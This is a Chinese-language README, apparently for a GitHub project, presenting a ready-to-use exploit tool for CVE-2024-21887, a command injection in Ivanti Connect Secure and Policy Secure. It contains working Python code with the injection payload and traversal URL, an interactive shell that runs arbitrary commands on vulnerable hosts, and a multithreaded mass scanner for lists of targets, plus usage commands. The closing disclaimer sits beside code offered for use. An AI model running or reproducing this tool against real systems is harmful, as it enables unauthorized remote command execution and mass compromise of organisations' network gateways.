🚀 CVE-2024-21887 漏洞检测与利用工具
一个专为检测和利用 Ivanti Connect Secure 及 Policy Secure 系统中 CVE-2024-21887 命令注入漏洞而设计的高效安全工具。
✨ 功能特性
- 单点检测:针对单个目标 URL 进行精确漏洞验证。
- 批量扫描:从文件中读取大量目标 URL,实现自动化批量检测。
- 并发控制:可自定义线程数,提升大规模扫描效率。
- 实时输出:将检测到的存在漏洞的 URL 实时保存到指定文件中。
- 交互式Shell:对存在漏洞的目标,可直接进入交互式命令执行环境。
- 状态可视化:使用进度条实时展示批量扫描进度。
📋 安装指南
系统要求
- Python 3.6 及以上版本
- 支持的操作系统:Windows / Linux / macOS
依赖项安装
使用 pip 一键安装所有依赖:
pip install requests rich alive-progress prompt-toolkit
克隆项目
git clone https://github.com/yourusername/CVE-2024-21887.git
cd CVE-2024-21887
🚀 使用说明
基础用法
1. 检测单个URL
python exploit.py -u https://target.com
如果目标存在漏洞,脚本将自动进入交互式 Shell,您可以直接执行系统命令。
2. 批量扫描
python exploit.py -f urls.txt
urls.txt 文件格式示例:
https://example1.com
https://example2.com
3. 指定线程数并保存结果
python exploit.py -f urls.txt -t 50 -o vulnerable.txt
-t 50:设置并发线程数为 50(默认为 100)-o vulnerable.txt:将检测出的漏洞 URL 保存到vulnerable.txt文件中
交互式Shell命令
进入交互式 Shell 后,支持以下命令:
exit:退出 Shellclear:清空屏幕- 其他任意命令:在目标服务器上执行该系统命令(如
whoami、id、ls等)
🧠 核心代码解析
1. 漏洞检测类 CVE_2024_21887
该类封装了漏洞检测的核心逻辑,通过构造特制的 JSON 请求包,触发目标系统中的命令注入。
import json
import requests
from rich.console import Console
class CVE_2024_21887:
def __init__(self, base_url):
self.base_url = base_url
self.console = Console()
self.session = requests.Session()
self.session.trust_env = False # 忽略系统代理设置
def send_backup_code_request(self, type_value="id"):
"""发送恶意请求,尝试执行系统命令"""
data = {"type": f";{type_value};"} # 构造注入 payload
url = f"{self.base_url}/api/v1/totp/user-backup-code/%2E%2E/%2E%2E/system/maintenance/archiving/cloud-server-test-connection"
try:
response = self.session.post(url, json=data, verify=False, timeout=10)
# 解析响应中的 JSON 数据,提取命令执行结果
if response.headers.get("Content-Type") == "application/json":
try:
response_json = response.json()
if "error" in response_json:
return response_json["error"]
except json.JSONDecodeError:
pass
return None
except requests.exceptions.RequestException:
return None
def check_vulnerability(self):
"""验证目标是否存在漏洞"""
error_message = self.send_backup_code_request() # 默认执行 id 命令
if error_message:
self.console.print(f"[bold green][+] {self.base_url} is vulnerable - [/bold green][bold yellow]{error_message}[/bold yellow]")
return error_message
2. 交互式Shell实现
interactive_shell 方法提供了一个简易的命令行交互环境,允许用户通过漏洞在目标系统上执行任意命令。
def interactive_shell(self):
from prompt_toolkit import PromptSession, HTML
from prompt_toolkit.history import InMemoryHistory
session = PromptSession(InMemoryHistory())
self.console.print("[bold yellow][!] Shell is ready, please type your commands UwU[/bold yellow]")
while True:
try:
cmd = session.prompt(HTML("<ansired><b># </b></ansired>"))
match cmd.lower():
case "exit":
break
case "clear":
self.console.clear()
case _:
response = self.send_backup_code_request(cmd)
if response:
self.console.print(response)
except KeyboardInterrupt:
break
3. 并发批量扫描逻辑
利用 ThreadPoolExecutor 实现高并发扫描,配合 alive_progress 显示实时进度。
from concurrent.futures import ThreadPoolExecutor, as_completed
from alive_progress import alive_bar
def process_url(url, output_file=None):
scanner = CVE_2024_21887(url)
if scanner.check_vulnerability():
if output_file:
with open(output_file, "a") as outfile:
outfile.write(url + "\n")
return url
return None
# 批量扫描代码片段
with open(args.file) as file:
urls = file.read().splitlines()
with alive_bar(len(urls), enrich_print=False) as bar:
with ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = [executor.submit(process_url, url, args.output) for url in urls]
for future in as_completed(futures):
future.result()
bar()
⚠️ 免责声明
本工具仅用于教育和授权测试目的。未经授权使用本工具对系统进行测试或利用属于违法行为,使用者需自行承担一切法律风险和责任。请严格遵守相关法律法规,在获得明确授权后方可使用。 6HFtX5dABrKlqXeO5PUv/1JiVYGLy2mfTUcDzpQX4Qc=